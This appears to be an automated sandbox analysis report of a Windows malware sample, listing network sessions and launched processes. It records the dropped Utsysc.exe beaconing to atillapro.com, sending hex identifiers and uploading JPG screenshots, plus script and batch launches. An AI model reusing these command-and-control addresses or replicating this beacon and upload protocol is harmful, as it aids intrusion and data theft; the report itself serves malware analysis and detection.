Apr 10, 2024 10:24:53.811816931 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:54.001967907 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49795	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:54.295469046 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:54.484338999 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:54.488471031 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:54.698286057 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49796	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:54.428715944 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwODc= Host: atillapro.com Content-Length: 85239 Cache-Control: no-cache
Apr 10, 2024 10:24:54.428766966 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 44 63 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwODc=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:54.428822041 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:54.428843021 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:54.428862095 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:54.428879023 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:54.428895950 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:54.428913116 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:54.428930044 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:54.428946972 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:54.428965092 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:55.937757015 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49797	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:55.051966906 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:55.238348961 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:55.243060112 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:55.449563980 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49798	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:55.748737097 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:55.934863091 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:55.935704947 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:56.137671947 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Apr 10, 2024 10:24:56.217438936 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwODc= Host: atillapro.com Content-Length: 85239 Cache-Control: no-cache
Apr 10, 2024 10:24:56.217487097 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 44 63 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwODc=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:56.217863083 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:56.217914104 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:56.217941999 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:56.217966080 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:56.217989922 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:56.218014002 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:56.218099117 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:56.218147993 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:56.218175888 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:57.727572918 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49799	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:56.458620071 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:56.644977093 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:56.646945953 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:56.837373972 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49800	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:57.145293951 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:57.332082987 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:57.333164930 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:57.540115118 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49801	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:57.841927052 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:58.028614998 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:58.029274940 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:58.228584051 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49802	216.250.255.115	80	2928	C:\Windows\System32\OpenWith.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:57.944092035 CEST	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 66 16 4c d9 d8 c4 59 be 93 b8 4c bc 54 81 0d 5c 0a e0 b3 6c 19 36 60 92 5d 84 68 e3 6c 95 b6 b0 00 00 50 cc a8 cc a9 cc aa c0 2c c0 30 00 9f c0 24 c0 28 00 6b c0 0a c0 14 00 39 c0 2b c0 2f 00 9e c0 23 c0 27 00 67 Data Ascii: fLYLT\l6`]hlP,0$(k9+/#'g3=52*.&</1)-%H#
Apr 10, 2024 10:24:58.111753941 CEST	1289	IN	Data Raw: 16 03 03 00 37 02 00 00 33 03 03 ae 5a 27 89 82 ed ea 55 ef 2d 0e a9 49 aa 13 ee 77 fe 90 ef 2d b1 a9 2d c3 bb 10 e7 83 70 e9 81 00 cc a8 00 00 0b ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 03 ab 0b 00 03 a7 00 03 a4 00 03 a1 30 82 03 9d 30 82 02 Data Ascii: 73Z'U-Iw--p00A`.eVhe0*H0~10UXX10UN/A10UN/A1 0USelf-signed certificate110/U(216.250.255.115: Self-signed c
Apr 10, 2024 10:24:58.111773968 CEST	130	IN	Data Raw: 41 8e 04 47 43 3c 6f 1f 5e 96 f2 78 5a d0 11 39 69 78 a2 3b aa a2 54 0b 16 26 79 b8 29 6b cf 73 a8 d2 2a da a3 8c e2 86 bd 79 43 57 f9 a3 3f 71 52 ef 6f 84 60 94 45 27 be 3f 08 b2 c9 bb d8 b3 9f c6 7d 30 23 dc 17 f6 61 b4 e4 eb d4 e9 13 bd 46 37 Data Ascii: AGC<o^xZ9ix;T&y)ks*yCW?qRo`E'?}0#aF7\tB(T=VGg
Apr 10, 2024 10:24:58.118899107 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 01 99 b7 85 f7 3f 92 9a a6 f0 62 13 c6 20 74 6c 31 cf 5d 69 a0 4b 0c 5b 00 0f 8c b8 c9 6e f9 d9 a2 b2 b0 b5 75 c8 df 0e 89 83 ca ca 8e 5f 61 1a 24 b9 83 ec 33 94 8d 10 05 4f 2c fc eb 6a 7b c9 8b e5 00 14 30 bc c5 Data Ascii: ?b tl1]iK[nu_a$3O,j{0I\V:/} y6vLQHrCQBl2 z aE\|Y4!6}'
Apr 10, 2024 10:24:58.452341080 CEST	130	IN	Data Raw: 41 8e 04 47 43 3c 6f 1f 5e 96 f2 78 5a d0 11 39 69 78 a2 3b aa a2 54 0b 16 26 79 b8 29 6b cf 73 a8 d2 2a da a3 8c e2 86 bd 79 43 57 f9 a3 3f 71 52 ef 6f 84 60 94 45 27 be 3f 08 b2 c9 bb d8 b3 9f c6 7d 30 23 dc 17 f6 61 b4 e4 eb d4 e9 13 bd 46 37 Data Ascii: AGC<o^xZ9ix;T&y)ks*yCW?qRo`E'?}0#aF7\tB(T=VGg
Apr 10, 2024 10:24:58.514503956 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 01 99 b7 85 f7 3f 92 9a a6 f0 62 13 c6 20 74 6c 31 cf 5d 69 a0 4b 0c 5b 00 0f 8c b8 c9 6e f9 d9 a2 b2 b0 b5 75 c8 df 0e 89 83 ca ca 8e 5f 61 1a 24 b9 83 ec 33 94 8d 10 05 4f 2c fc eb 6a 7b c9 8b e5 00 14 30 bc c5 Data Ascii: ?b tl1]iK[nu_a$3O,j{0I\V:/} y6vLQHrCQBl2 z aE\|Y4!6}'
Apr 10, 2024 10:24:58.681243896 CEST	43	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 20 21 2e e9 6d 55 06 c5 dd f6 fb 5f c1 d5 36 ac 13 14 ce ae 2e d1 39 49 40 fa 04 02 bd 04 3c 8a 0f Data Ascii: !.mU_6.9I@<
Apr 10, 2024 10:24:58.682806969 CEST	531	OUT	Data Raw: 17 03 03 02 0e cd bb 8e e5 54 c9 50 99 d3 60 fd 38 99 9c 9d 71 27 b2 b6 ac 16 6e 25 94 e7 45 92 87 5c a4 b8 00 97 57 0c e4 65 24 7e 6a 3a 73 82 4b 0e ed 2e 42 6e e2 75 26 cd 22 77 ec 16 1a ea 8e e1 6f 27 83 b7 bb e0 4d b5 c7 5e e7 ee 9c 0f 38 c3 Data Ascii: TP`8q'n%E\We$~j:sK.Bnu&"wo'M^85a(_r9e9(yV\|~.>t]`uf taZ7K~hSR?&KLP7P`GhB9V3y0Rs-G`D>K.SN}Lc5wM`
Apr 10, 2024 10:24:58.842441082 CEST	177	IN	Data Raw: 17 03 03 00 ac 1d e4 42 c6 6d 48 e6 11 93 25 25 5d 49 0e 66 3f 9a af 2d 3a e4 13 65 5d 0d c3 ed 5e b5 ae 57 49 dd a2 ad 45 a3 ee 13 bb 81 c8 a8 d5 fa ff a9 41 90 97 c3 09 d2 b7 57 cf da b5 74 12 cb c2 89 cd f5 bd a6 e9 5b 16 7d 80 a1 d7 91 f6 fc Data Ascii: BmH%%]If?-:e]^WIEAWt[}u}@8^!>c-]8Sz)PB x2<GcZ \|a8[)_FjGT\|-D.P2
Apr 10, 2024 10:24:58.845650911 CEST	29	OUT	Data Raw: 17 03 03 00 18 3d 5b 24 75 aa 63 8f 1e 13 c0 be 98 4c f7 09 4b 64 e8 dc 6d 6e 08 dc 99 Data Ascii: =[$ucLKdmn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49803	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:58.094942093 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwODc= Host: atillapro.com Content-Length: 85239 Cache-Control: no-cache
Apr 10, 2024 10:24:58.094942093 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 44 63 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwODc=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:58.095005035 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:58.095005035 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:58.095046997 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:58.095046997 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:58.095128059 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:58.095128059 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:58.095129013 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:58.095129013 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:58.095186949 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:59.783813000 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49804	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:58.534291029 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:58.720598936 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:58.721204996 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:58.911324978 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Target ID:	0
Start time:	10:22:53
Start date:	10/04/2024
Path:	C:\Users\user\Desktop\xwREqjHUEv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xwREqjHUEv.exe"
Imagebase:	0x400000
File size:	534'113 bytes
MD5 hash:	068C05B9F062DA142D266A374866D3BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:22:55
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"wscript.exe" "C:\Users\user\start.vbs"
Imagebase:	0x6c0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:22:55
Start date:	10/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:22:55
Start date:	10/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
